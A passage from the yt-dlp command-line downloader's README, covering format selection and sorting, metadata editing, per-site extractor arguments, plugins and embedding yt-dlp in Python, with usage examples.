channel/user keeping each playlist in separate directory: $ yt-dlp -o "%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s" "https://www.youtube.com/user/TheLinuxFoundation/playlists" # Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home $ yt-dlp -u user -p password -P "~/MyVideos" -o "%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s" "https://www.udemy.com/java-tutorial" # Download entire series season keeping each series and each season in separate directory under C:/MyVideos $ yt-dlp -P "C:/MyVideos" -o "%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" "https://videomore.ru/kino_v_detalayah/5_sezon/367617" # Download video as "C:\MyVideos\uploader\title.ext", subtitles as "C:\MyVideos\subs\uploader\title.ext" # and put all temporary files in "C:\MyVideos\tmp" $ yt-dlp -P "C:/MyVideos" -P "temp:tmp" -P "subtitle:subs" -o "%(uploader)s/%(title)s.%(ext)s" BaW_jenoz --write-subs # Download video as "C:\MyVideos\uploader\title.ext" and subtitles as "C:\MyVideos\uploader\subs\title.ext" $ yt-dlp -P "C:/MyVideos" -o "%(uploader)s/%(title)s.%(ext)s" -o "subtitle:%(uploader)s/subs/%(title)s.%(ext)s" BaW_jenozKc --write-subs # Stream the video being downloaded to stdout $ yt-dlp -o - BaW_jenozKc ``` # FORMAT SELECTION By default, yt-dlp tries to download the best available quality if you **don't** pass any options. This is generally equivalent to using `-f bestvideo*+bestaudio/best`. However, if multiple audiostreams is enabled (`--audio-multistreams`), the default format changes to `-f bestvideo+bestaudio/best`. Similarly, if ffmpeg is unavailable, or if you use yt-dlp to stream to `stdout` (`-o -`), the default becomes `-f best/bestvideo+bestaudio`. **Deprecation warning**: Latest versions of yt-dlp can stream multiple formats to the stdout simultaneously using ffmpeg. So, in future versions, the default for this will be set to `-f bv*+ba/b` similar to normal downloads. If you want to preserve the `-f b/bv+ba` setting, it is recommended to explicitly specify it in the configuration options. The general syntax for format selection is `-f FORMAT` (or `--format FORMAT`) where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download. <!-- MANPAGE: BEGIN EXCLUDED SECTION --> **tl;dr:** [navigate me to examples](#format-selection-examples). <!-- MANPAGE: END EXCLUDED SECTION --> The simplest case is requesting a specific format; e.g. with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific. You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file. You can use `-f -` to interactively provide the format selector *for each video* You can also use special names to select particular edge case formats: - `all`: Select **all formats** separately - `mergeall`: Select and **merge all formats** (Must be used with `--audio-multistreams`, `--video-multistreams` or both) - `b*`, `best*`: Select the best quality format that **contains either** a video or an audio or both (ie; `vcodec!=none or acodec!=none`) - `b`, `best`: Select the best quality format that **contains both** video and audio. Equivalent to `best*[vcodec!=none][acodec!=none]` - `bv`, `bestvideo`: Select the best quality **video-only** format. Equivalent to `best*[acodec=none]` - `bv*`, `bestvideo*`: Select the best quality format that **contains video**. It may also contain audio. Equivalent to `best*[vcodec!=none]` - `ba`, `bestaudio`: Select the best quality **audio-only** format. Equivalent to `best*[vcodec=none]` - `ba*`, `bestaudio*`: Select the best quality format that **contains audio**. It may also contain video. Equivalent to `best*[acodec!=none]` ([Do not use!](https://github.com/yt-dlp/yt-dlp/issues/979#issuecomment-919629354)) - `w*`, `worst*`: Select the worst quality format that contains either a video or an audio - `w`, `worst`: Select the worst quality format that contains both video and audio. Equivalent to `worst*[vcodec!=none][acodec!=none]` - `wv`, `worstvideo`: Select the worst quality video-only format. Equivalent to `worst*[acodec=none]` - `wv*`, `worstvideo*`: Select the worst quality format that contains video. It may also contain audio. Equivalent to `worst*[vcodec!=none]` - `wa`, `worstaudio`: Select the worst quality audio-only format. Equivalent to `worst*[vcodec=none]` - `wa*`, `worstaudio*`: Select the worst quality format that contains audio. It may also contain video. Equivalent to `worst*[acodec!=none]` For example, to download the worst quality video-only format you can use `-f worstvideo`. It is however recommended not to use `worst` and related options. When your format selector is `worst`, the format which is worst in all respects is selected. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-S +size` or more rigorously, `-S +size,+br,+res,+fps` instead of `-f worst`. See [Sorting Formats](#sorting-formats) for more details. You can select the n'th best format of a type by using `best<type>.<n>`. For example, `best.2` will select the 2nd best combined format. Similarly, `bv*.3` will select the 3rd best format that contains a video stream. If you want to download multiple videos, and they don't have the same formats available, you can specify the order of preference using slashes. Note that formats on the left hand side are preferred; e.g. `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download. If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`. You can merge the video and audio of multiple formats into a single file using `-f <format1>+<format2>+...` (requires ffmpeg installed); e.g. `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg. **Deprecation warning**: Since the *below* described behavior is complex and counter-intuitive, this will be removed and multistreams will be enabled by default in the future. A new operator will be instead added to limit formats to single audio/video Unless `--video-multistreams` is used, all formats with a video stream except the first one are ignored. Similarly, unless `--audio-multistreams` is used, all formats with an audio stream except the first one are ignored. E.g. `-f bestvideo+best+bestaudio --video-multistreams --audio-multistreams` will download and merge all 3 given formats. The resulting file will have 2 video streams and 2 audio streams. But `-f bestvideo+best+bestaudio --no-video-multistreams` will download and merge only `bestvideo` and `bestaudio`. `best` is ignored since another format containing a video stream (`bestvideo`) has already been selected. The order of the formats is therefore important. `-f best+bestaudio --no-audio-multistreams` will download only `best` while `-f bestaudio+best --no-audio-multistreams` will ignore `best` and download only `bestaudio`. ## Filtering Formats You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"`). The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals): - `filesize`: The number of bytes, if known in advance - `filesize_approx`: An estimate for the number of bytes - `width`: Width of the video, if known - `height`: Height of the video, if known - `aspect_ratio`: Aspect ratio of the video, if known - `tbr`: Average bitrate of audio and video in KBit/s - `abr`: Average audio bitrate in KBit/s - `vbr`: Average video bitrate in KBit/s - `asr`: Audio sampling rate in Hertz - `fps`: Frame rate - `audio_channels`: The number of audio channels - `stretched_ratio`: `width:height` of the video's pixels, if not square Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains), `~=` (matches regex) and following string meta fields: - `url`: Video URL - `ext`: File extension - `acodec`: Name of the audio codec in use - `vcodec`: Name of the video codec in use - `container`: Name of the container format - `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`) - `language`: Language code - `dynamic_range`: The dynamic range of the video - `format_id`: A short description of the format - `format`: A human-readable description of the format - `format_note`: Additional info about the format - `resolution`: Textual description of width and height Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). The comparand of a string comparison needs to be quoted with either double or single quotes if it contains spaces or special characters other than `._-`. **Note**: None of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the website. Any other field made available by the extractor can also be used for filtering. Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "[height<=?720][tbr>500]"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 KBit/s. You can also use the filters with `all` to download all formats that satisfy the filter, e.g. `-f "all[vcodec=none]"` selects all audio-only formats. Format selectors can also be grouped using parentheses; e.g. `-f "(mp4,webm)[height<480]"` will download the best pre-merged mp4 and webm formats with a height lower than 480. ## Sorting Formats You can change the criteria for being considered the `best` by using `-S` (`--format-sort`). The general format for this is `--format-sort field1,field2...`. The available fields are: - `hasvid`: Gives priority to formats that have a video stream - `hasaud`: Gives priority to formats that have an audio stream - `ie_pref`: The format preference - `lang`: The language preference - `quality`: The quality of the format - `source`: The preference of the source - `proto`: Protocol used for download (`https`/`ftps` > `http`/`ftp` > `m3u8_native`/`m3u8` > `http_dash_segments`> `websocket_frag` > `mms`/`rtsp` > `f4f`/`f4m`) - `vcodec`: Video Codec (`av01` > `vp9.2` > `vp9` > `h265` > `h264` > `vp8` > `h263` > `theora` > other) - `acodec`: Audio Codec (`flac`/`alac` > `wav`/`aiff` > `opus` > `vorbis` > `aac` > `mp4a` > `mp3` > `ac4` > `eac3` > `ac3` > `dts` > other) - `codec`: Equivalent to `vcodec,acodec` - `vext`: Video Extension (`mp4` > `mov` > `webm` > `flv` > other). If `--prefer-free-formats` is used, `webm` is preferred. - `aext`: Audio Extension (`m4a` > `aac` > `mp3` > `ogg` > `opus` > `webm` > other). If `--prefer-free-formats` is used, the order changes to `ogg` > `opus` > `webm` > `mp3` > `m4a` > `aac` - `ext`: Equivalent to `vext,aext` - `filesize`: Exact filesize, if known in advance - `fs_approx`: Approximate filesize calculated from the manifests - `size`: Exact filesize if available, otherwise approximate filesize - `height`: Height of video - `width`: Width of video - `res`: Video resolution, calculated as the smallest dimension. - `fps`: Framerate of video - `hdr`: The dynamic range of the video (`DV` > `HDR12` > `HDR10+` > `HDR10` > `HLG` > `SDR`) - `channels`: The number of audio channels - `tbr`: Total average bitrate in KBit/s - `vbr`: Average video bitrate in KBit/s - `abr`: Average audio bitrate in KBit/s - `br`: Equivalent to using `tbr,vbr,abr` - `asr`: Audio sample rate in Hz **Deprecation warning**: Many of these fields have (currently undocumented) aliases, that may be removed in a future version. It is recommended to use only the documented field names. All fields, unless specified otherwise, are sorted in descending order. To reverse this, prefix the field with a `+`. E.g. `+res` prefers format with the smallest resolution. Additionally, you can suffix a preferred value for the fields, separated by a `:`. E.g. `res:720` prefers larger videos, but no larger than 720p and the smallest video if there are no videos less than 720p. For `codec` and `ext`, you can provide two preferred values, the first for video and the second for audio. E.g. `+codec:avc:m4a` (equivalent to `+vcodec:avc,+acodec:m4a`) sets the video codec preference to `h264` > `h265` > `vp9` > `vp9.2` > `av01` > `vp8` > `h263` > `theora` and audio codec preference to `mp4a` > `aac` > `vorbis` > `opus` > `mp3` > `ac3` > `dts`. You can also make the sorting prefer the nearest values to the provided by using `~` as the delimiter. E.g. `filesize~1G` prefers the format with filesize closest to 1 GiB. The fields `hasvid` and `ie_pref` are always given highest priority in sorting, irrespective of the user-defined order. This behaviour can be changed by using `--format-sort-force`. Apart from these, the default order used is: `lang,quality,res,fps,hdr:12,vcodec:vp9.2,channels,acodec,size,br,asr,proto,ext,hasaud,source,id`. The extractors may override this default order, but they cannot override the user-provided order. Note that the default has `vcodec:vp9.2`; i.e. `av1` is not preferred. Similarly, the default for hdr is `hdr:12`; i.e. dolby vision is not preferred. These choices are made since DV and AV1 formats are not yet fully compatible with most devices. This may be changed in the future as more devices become capable of smoothly playing back these formats. If your format selector is `worst`, the last item is selected after sorting. This means it will select the format that is worst in all respects. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-f best -S +size,+br,+res,+fps`. **Tip**: You can use the `-v -F` to see how the formats have been sorted (worst to best). ## Format Selection examples ```bash # Download and merge the best video-only format and the best audio-only format, # or download the best combined format if video-only format is not available $ yt-dlp -f "bv+ba/b" # Download best format that contains video, # and if it doesn't already have an audio stream, merge it with best audio-only format $ yt-dlp -f "bv*+ba/b" # Same as above $ yt-dlp # Download the best video-only format and the best audio-only format without merging them # For this case, an output template should be used since # by default, bestvideo and bestaudio will have the same file name. $ yt-dlp -f "bv,ba" -o "%(title)s.f%(format_id)s.%(ext)s" # Download and merge the best format that has a video stream, # and all audio-only formats into one file $ yt-dlp -f "bv*+mergeall[vcodec=none]" --audio-multistreams # Download and merge the best format that has a video stream, # and the best 2 audio-only formats into one file $ yt-dlp -f "bv*+ba+ba.2" --audio-multistreams # The following examples show the old method (without -S) of format selection # and how to use -S to achieve a similar but (generally) better result # Download the worst video available (old method) $ yt-dlp -f "wv*+wa/w" # Download the best video available but with the smallest resolution $ yt-dlp -S "+res" # Download the smallest video available $ yt-dlp -S "+size,+br" # Download the best mp4 video available, or the best video if no mp4 available $ yt-dlp -f "bv*[ext=mp4]+ba[ext=m4a]/b[ext=mp4] / bv*+ba/b" # Download the best video with the best extension # (For video, mp4 > mov > webm > flv. For audio, m4a > aac > mp3 ...) $ yt-dlp -S "ext" # Download the best video available but no better than 480p, # or the worst video if there is no video under 480p $ yt-dlp -f "bv*[height<=480]+ba/b[height<=480] / wv*+ba/w" # Download the best video available with the largest height but no better than 480p, # or the best video with the smallest resolution if there is no video under 480p $ yt-dlp -S "height:480" # Download the best video available with the largest resolution but no better than 480p, # or the best video with the smallest resolution if there is no video under 480p # Resolution is determined by using the smallest dimension. # So this works correctly for vertical videos as well $ yt-dlp -S "res:480" # Download the best video (that also has audio) but no bigger than 50 MB, # or the worst video (that also has audio) if there is no video under 50 MB $ yt-dlp -f "b[filesize<50M] / w" # Download largest video (that also has audio) but no bigger than 50 MB, # or the smallest video (that also has audio) if there is no video under 50 MB $ yt-dlp -f "b" -S "filesize:50M" # Download best video (that also has audio) that is closest in size to 50 MB $ yt-dlp -f "b" -S "filesize~50M" # Download best video available via direct link over HTTP/HTTPS protocol, # or the best video available via any protocol if there is no such video $ yt-dlp -f "(bv*+ba/b)[protocol^=http][protocol!*=dash] / (bv*+ba/b)" # Download best video available via the best protocol # (https/ftps > http/ftp > m3u8_native > m3u8 > http_dash_segments ...) $ yt-dlp -S "proto" # Download the best video with either h264 or h265 codec, # or the best video if there is no such video $ yt-dlp -f "(bv*[vcodec~='^((he|a)vc|h26[45])']+ba) / (bv*+ba/b)" # Download the best video with best codec no better than h264, # or the best video with worst codec if there is no such video $ yt-dlp -S "codec:h264" # Download the best video with worst codec no worse than h264, # or the best video with best codec if there is no such video $ yt-dlp -S "+codec:h264" # More complex examples # Download the best video no better than 720p preferring framerate greater than 30, # or the worst video (still preferring framerate greater than 30) if there is no such video $ yt-dlp -f "((bv*[fps>30]/bv*)[height<=720]/(wv*[fps>30]/wv*)) + ba / (b[fps>30]/b)[height<=720]/(w[fps>30]/w)" # Download the video with the largest resolution no better than 720p, # or the video with the smallest resolution available if there is no such video, # preferring larger framerate for formats with the same resolution $ yt-dlp -S "res:720,fps" # Download the video with smallest resolution no worse than 480p, # or the video with the largest resolution available if there is no such video, # preferring better codec and then larger total bitrate for the same resolution $ yt-dlp -S "+res:480,codec,br" ``` # MODIFYING METADATA The metadata obtained by the extractors can be modified by using `--parse-metadata` and `--replace-in-metadata` `--replace-in-metadata FIELDS REGEX REPLACE` is used to replace text in any metadata field using [python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax). [Backreferences](https://docs.python.org/3/library/re.html?highlight=backreferences#re.sub) can be used in the replace string for advanced use. The general syntax of `--parse-metadata FROM:TO` is to give the name of a field or an [output template](#output-template) to extract data from, and the format to interpret it as, separated by a colon `:`. Either a [python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax) with named capture groups, a single field name, or a similar syntax to the [output template](#output-template) (only `%(field)s` formatting is supported) can be used for `TO`. The option can be used multiple times to parse and modify various fields. Note that these options preserve their relative order, allowing replacements to be made in parsed fields and viceversa. Also, any field thus created can be used in the [output template](#output-template) and will also affect the media file's metadata added when using `--embed-metadata`. This option also has a few special uses: * You can download an additional URL based on the metadata of the currently downloaded video. To do this, set the field `additional_urls` to the URL that you want to download. E.g. `--parse-metadata "description:(?P<additional_urls>https?://www\.vimeo\.com/\d+)"` will download the first vimeo video found in the description * You can use this to change the metadata that is embedded in the media file. To do this, set the value of the corresponding field with a `meta_` prefix. For example, any value you set to `meta_description` field will be added to the `description` field in the file - you can use this to set a different "description" and "synopsis". To modify the metadata of individual streams, use the `meta<n>_` prefix (e.g. `meta1_language`). Any value set to the `meta_` field will overwrite all default values. **Note**: Metadata modification happens before format selection, post-extraction and other post-processing operations. Some fields may be added or changed during these steps, overriding your changes. For reference, these are the fields yt-dlp adds by default to the file metadata: Metadata fields | From :--------------------------|:------------------------------------------------ `title` | `track` or `title` `date` | `upload_date` `description`, `synopsis` | `description` `purl`, `comment` | `webpage_url` `track` | `track_number` `artist` | `artist`, `creator`, `uploader` or `uploader_id` `genre` | `genre` `album` | `album` `album_artist` | `album_artist` `disc` | `disc_number` `show` | `series` `season_number` | `season_number` `episode_id` | `episode` or `episode_id` `episode_sort` | `episode_number` `language` of each stream | the format's `language` **Note**: The file format may not support some of these fields ## Modifying metadata examples ```bash # Interpret the title as "Artist - Title" $ yt-dlp --parse-metadata "title:%(artist)s - %(title)s" # Regex example $ yt-dlp --parse-metadata "description:Artist - (?P<artist>.+)" # Set title as "Series name S01E05" $ yt-dlp --parse-metadata "%(series)s S%(season_number)02dE%(episode_number)02d:%(title)s" # Prioritize uploader as the "artist" field in video metadata $ yt-dlp --parse-metadata "%(uploader|)s:%(meta_artist)s" --embed-metadata # Set "comment" field in video metadata using description instead of webpage_url, # handling multiple lines correctly $ yt-dlp --parse-metadata "description:(?s)(?P<meta_comment>.+)" --embed-metadata # Do not set any "synopsis" in the video metadata $ yt-dlp --parse-metadata ":(?P<meta_synopsis>)" # Remove "formats" field from the infojson by setting it to an empty string $ yt-dlp --parse-metadata "video::(?P<formats>)" --write-info-json # Replace all spaces and "_" in title and uploader with a `-` $ yt-dlp --replace-in-metadata "title,uploader" "[ _]" "-" ``` # EXTRACTOR ARGUMENTS Some extractors accept additional arguments which can be passed using `--extractor-args KEY:ARGS`. `ARGS` is a `;` (semicolon) separated string of `ARG=VAL1,VAL2`. E.g. `--extractor-args "youtube:player-client=android_embedded,web;include_live_dash" --extractor-args "funimation:version=uncut"` Note: In CLI, `ARG` can use `-` instead of `_`; e.g. `youtube:player-client"` becomes `youtube:player_client"` The following extractors use this feature: #### youtube * `lang`: Prefer translated metadata (`title`, `description` etc) of this language code (case-sensitive). By default, the video primary language metadata is preferred, with a fallback to `en` translated. See [youtube.py](https://github.com/yt-dlp/yt-dlp/blob/c26f9b991a0681fd3ea548d535919cec1fbbd430/yt_dlp/extractor/youtube.py#L381-L390) for list of supported content language codes * `skip`: One or more of `hls`, `dash` or `translated_subs` to skip extraction of the m3u8 manifests, dash manifests and [auto-translated subtitles](https://github.com/yt-dlp/yt-dlp/issues/4090#issuecomment-1158102032) respectively * `player_client`: Clients to extract video data from. The main clients are `web`, `android` and `ios` with variants `_music`, `_embedded`, `_embedscreen`, `_creator` (e.g. `web_embedded`); and `mweb` and `tv_embedded` (agegate bypass) with no variants. By default, `ios,android,web` is used, but `tv_embedded` and `creator` variants are added as required for age-gated videos. Similarly, the music variants are added for `music.youtube.com` urls. You can use `all` to use all the clients, and `default` for the default clients. * `player_skip`: Skip some network requests that are generally needed for robust extraction. One or more of `configs` (skip client configs), `webpage` (skip initial webpage), `js` (skip js player). While these options can help reduce the number of requests needed or avoid some rate-limiting, they could cause some issues. See [#860](https://github.com/yt-dlp/yt-dlp/pull/860) for more details * `comment_sort`: `top` or `new` (default) - choose comment sorting mode (on YouTube's side) * `max_comments`: Limit the amount of comments to gather. Comma-separated list of integers representing `max-comments,max-parents,max-replies,max-replies-per-thread`. Default is `all,all,all,all` * E.g. `all,all,1000,10` will get a maximum of 1000 replies total, with up to 10 replies per thread. `1000,all,100` will get a maximum of 1000 comments, with a maximum of 100 replies total * `include_duplicate_formats`: Extract formats with identical content but different URLs or protocol. This is useful if some of the formats are unavailable or throttled. * `include_incomplete_formats`: Extract formats that cannot be downloaded completely (live dash and post-live m3u8) * `innertube_host`: Innertube API host to use for all API requests; e.g. `studio.youtube.com`, `youtubei.googleapis.com`. Note that cookies exported from one subdomain will not work on others * `innertube_key`: Innertube API key to use for all API requests #### youtubetab (YouTube playlists, channels, feeds, etc.) * `skip`: One or more of `webpage` (skip initial webpage download), `authcheck` (allow the download of playlists requiring authentication when no initial webpage is downloaded. This may cause unwanted behavior, see [#1122](https://github.com/yt-dlp/yt-dlp/pull/1122) for more details) * `approximate_date`: Extract approximate `upload_date` and `timestamp` in flat-playlist. This may cause date-based filters to be slightly off #### generic * `fragment_query`: Passthrough any query in mpd/m3u8 manifest URLs to their fragments if no value is provided, or else apply the query string given as `fragment_query=VALUE`. Does not apply to ffmpeg * `variant_query`: Passthrough the master m3u8 URL query to its variant playlist URLs if no value is provided, or else apply the query string given as `variant_query=VALUE` * `hls_key`: An HLS AES-128 key URI *or* key (as hex), and optionally the IV (as hex), in the form of `(URI|KEY)[,IV]`; e.g. `generic:hls_key=ABCDEF1234567980,0xFEDCBA0987654321`. Passing any of these values will force usage of the native HLS downloader and override the corresponding values found in the m3u8 playlist * `is_live`: Bypass live HLS detection and manually set `live_status` - a value of `false` will set `not_live`, any other value (or no value) will set `is_live` #### funimation * `language`: Audio languages to extract, e.g. `funimation:language=english,japanese` * `version`: The video version to extract - `uncut` or `simulcast` #### crunchyrollbeta (Crunchyroll) * `format`: Which stream type(s) to extract (default: `adaptive_hls`). Potentially useful values include `adaptive_hls`, `adaptive_dash`, `vo_adaptive_hls`, `vo_adaptive_dash`, `download_hls`, `download_dash`, `multitrack_adaptive_hls_v2` * `hardsub`: Preference order for which hardsub versions to extract, or `all` (default: `None` = no hardsubs), e.g. `crunchyrollbeta:hardsub=en-US,None` #### vikichannel * `video_types`: Types of videos to download - one or more of `episodes`, `movies`, `clips`, `trailers` #### niconico * `segment_duration`: Segment duration in milliseconds for HLS-DMC formats. Use it at your own risk since this feature **may result in your account termination.** #### youtubewebarchive * `check_all`: Try to check more at the cost of more requests. One or more of `thumbnails`, `captures` #### gamejolt * `comment_sort`: `hot` (default), `you` (cookies needed), `top`, `new` - choose comment sorting mode (on GameJolt's side) #### hotstar * `res`: resolution to ignore - one or more of `sd`, `hd`, `fhd` * `vcodec`: vcodec to ignore - one or more of `h264`, `h265`, `dvh265` * `dr`: dynamic range to ignore - one or more of `sdr`, `hdr10`, `dv` #### tiktok * `api_hostname`: Hostname to use for mobile API requests, e.g. `api-h2.tiktokv.com` * `app_version`: App version to call mobile APIs with - should be set along with `manifest_app_version`, e.g. `20.2.1` * `manifest_app_version`: Numeric app version to call mobile APIs with, e.g. `221` #### rokfinchannel * `tab`: Which tab to download - one of `new`, `top`, `videos`, `podcasts`, `streams`, `stacks` #### twitter * `legacy_api`: Force usage of the legacy Twitter API instead of the GraphQL API for tweet extraction. Has no effect if login cookies are passed #### wrestleuniverse * `device_id`: UUID value assigned by the website and used to enforce device limits for paid livestream content. Can be found in browser local storage #### twitch * `client_id`: Client ID value to be sent with GraphQL requests, e.g. `twitch:client_id=kimne78kx3ncx6brgo4mv6wki5h1ko` #### nhkradirulive (NHK らじる★らじる LIVE) * `area`: Which regional variation to extract. Valid areas are: `sapporo`, `sendai`, `tokyo`, `nagoya`, `osaka`, `hiroshima`, `matsuyama`, `fukuoka`. Defaults to `tokyo` **Note**: These options may be changed/removed in the future without concern for backward compatibility <!-- MANPAGE: MOVE "INSTALLATION" SECTION HERE --> # PLUGINS Note that **all** plugins are imported even if not invoked, and that **there are no checks** performed on plugin code. **Use plugins at your own risk and only if you trust the code!** Plugins can be of `<type>`s `extractor` or `postprocessor`. - Extractor plugins do not need to be enabled from the CLI and are automatically invoked when the input URL is suitable for it. - Extractor plugins take priority over builtin extractors. - Postprocessor plugins can be invoked using `--use-postprocessor NAME`. Plugins are loaded from the namespace packages `yt_dlp_plugins.extractor` and `yt_dlp_plugins.postprocessor`. In other words, the file structure on the disk looks something like: yt_dlp_plugins/ extractor/ myplugin.py postprocessor/ myplugin.py yt-dlp looks for these `yt_dlp_plugins` namespace folders in many locations (see below) and loads in plugins from **all** of them. See the [wiki for some known plugins](https://github.com/yt-dlp/yt-dlp/wiki/Plugins) ## Installing Plugins Plugins can be installed using various methods and locations. 1. **Configuration directories**: Plugin packages (containing a `yt_dlp_plugins` namespace folder) can be dropped into the following standard [configuration locations](#configuration): * **User Plugins** * `${XDG_CONFIG_HOME}/yt-dlp/plugins/<package name>/yt_dlp_plugins/` (recommended on Linux/macOS) * `${XDG_CONFIG_HOME}/yt-dlp-plugins/<package name>/yt_dlp_plugins/` * `${APPDATA}/yt-dlp/plugins/<package name>/yt_dlp_plugins/` (recommended on Windows) * `${APPDATA}/yt-dlp-plugins/<package name>/yt_dlp_plugins/` * `~/.yt-dlp/plugins/<package name>/yt_dlp_plugins/` * `~/yt-dlp-plugins/<package name>/yt_dlp_plugins/` * **System Plugins** * `/etc/yt-dlp/plugins/<package name>/yt_dlp_plugins/` * `/etc/yt-dlp-plugins/<package name>/yt_dlp_plugins/` 2. **Executable location**: Plugin packages can similarly be installed in a `yt-dlp-plugins` directory under the executable location (recommended for portable installations): * Binary: where `<root-dir>/yt-dlp.exe`, `<root-dir>/yt-dlp-plugins/<package name>/yt_dlp_plugins/` * Source: where `<root-dir>/yt_dlp/__main__.py`, `<root-dir>/yt-dlp-plugins/<package name>/yt_dlp_plugins/` 3. **pip and other locations in `PYTHONPATH`** * Plugin packages can be installed and managed using `pip`. See [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) for an example. * Note: plugin files between plugin packages installed with pip must have unique filenames. * Any path in `PYTHONPATH` is searched in for the `yt_dlp_plugins` namespace folder. * Note: This does not apply for Pyinstaller/py2exe builds. `.zip`, `.egg` and `.whl` archives containing a `yt_dlp_plugins` namespace folder in their root are also supported as plugin packages. * e.g. `${XDG_CONFIG_HOME}/yt-dlp/plugins/mypluginpkg.zip` where `mypluginpkg.zip` contains `yt_dlp_plugins/<type>/myplugin.py` Run yt-dlp with `--verbose` to check if the plugin has been loaded. ## Developing Plugins See the [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) repo for a template plugin package and the [Plugin Development](https://github.com/yt-dlp/yt-dlp/wiki/Plugin-Development) section of the wiki for a plugin development guide. All public classes with a name ending in `IE`/`PP` are imported from each file for extractors and postprocessors repectively. This respects underscore prefix (e.g. `_MyBasePluginIE` is private) and `__all__`. Modules can similarly be excluded by prefixing the module name with an underscore (e.g. `_myplugin.py`). To replace an existing extractor with a subclass of one, set the `plugin_name` class keyword argument (e.g. `class MyPluginIE(ABuiltInIE, plugin_name='myplugin')` will replace `ABuiltInIE` with `MyPluginIE`). Since the extractor replaces the parent, you should exclude the subclass extractor from being imported separately by making it private using one of the methods described above. If you are a plugin author, add [yt-dlp-plugins](https://github.com/topics/yt-dlp-plugins) as a topic to your repository for discoverability. See the [Developer Instructions](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) on how to write and test an extractor. # EMBEDDING YT-DLP yt-dlp makes the best effort to be a good command-line program, and thus should be callable from any programming language. Your program should avoid parsing the normal stdout since they may change in future versions. Instead they should use options such as `-J`, `--print`, `--progress-template`, `--exec` etc to create console output that you can reliably reproduce and parse. From a Python program, you can embed yt-dlp in a more powerful fashion, like this: ```python from yt_dlp import YoutubeDL URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] with YoutubeDL() as ydl: ydl.download(URLS) ``` Most likely, you'll want to use various options. For a list of options available, have a look at [`yt_dlp/YoutubeDL.py`](yt_dlp/YoutubeDL.py#L184). **Tip**: If you are porting your code from youtube-dl to yt-dlp, one important point to look out for is that we do not guarantee the return value of `YoutubeDL.extract_info` to be json serializable, or even be a dictionary. It will be dictionary-like, but if you want to ensure it is a serializable dictionary, pass it through `YoutubeDL.sanitize_info` as shown in the [example below](#extracting-information) ## Embedding examples #### Extracting information ```python import json import yt_dlp URL = 'https://www.youtube.com/watch?v=BaW_jenozKc' # ℹ️ See help(yt_dlp.YoutubeDL) for a list of available options and public functions ydl_opts = {} with yt_dlp.YoutubeDL(ydl_opts) as ydl: info = ydl.extract_info(URL, download=False) # ℹ️ ydl.sanitize_info makes the info json-serializable print(json.dumps(ydl.sanitize_info(info))) ``` #### Download using an info-json ```python import yt_dlp INFO_FILE = 'path/to/video.info.json' with yt_dlp.YoutubeDL() as ydl: error_code = ydl.download_with_info_file(INFO_FILE) print('Some videos failed to download' if error_code else 'All videos successfully downloaded') ``` #### Extract audio ```python import yt_dlp URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] ydl_opts = { 'format': 'm4a/bestaudio/best', # ℹ️ See help(yt_dlp.postprocessor) for a list of available Postprocessors and their arguments 'postprocessors': [{ # Extract audio using ffmpeg 'key': 'FFmpegExtractAudio', 'preferredcodec': 'm4a', }] } with yt_dlp.YoutubeDL(ydl_opts) as ydl: error_code = ydl.download(URLS) ``` #### Filter videos ```python import yt_dlp URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] def longer_than_a_minute(info, *, incomplete): """Download only videos longer than a minute (or with unknown duration)""" duration = info.get('duration') if duration and duration < 60: return 'The video is too short' ydl_opts = { 'match_filter': longer_than_a_minute, } with yt_dlp.YoutubeDL(ydl_opts) as ydl: error_code = ydl.download(URLS) ``` #### Adding logger and progress hook ```python import yt_dlp URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] class MyLogger: def debug(self, msg): # For compatibility with youtube-dl, both debug and info are passed into debug # You can distinguish them by the prefix '[debug] ' if msg.startswith('[debug] '): pass else: self.info(msg) def info(self, msg): pass def warning(self, msg): pass def error(self, msg): print(msg) # ℹ️ See "progress_hooks" in help(yt_dlp.YoutubeDL) def my_hook(d): if d['status'] == 'finished': print('Done downloading, now post-processing ...') ydl_opts = { 'logger': MyLogger(), 'progress_hooks': [my_hook], } with yt_dlp.YoutubeDL(ydl_opts) as 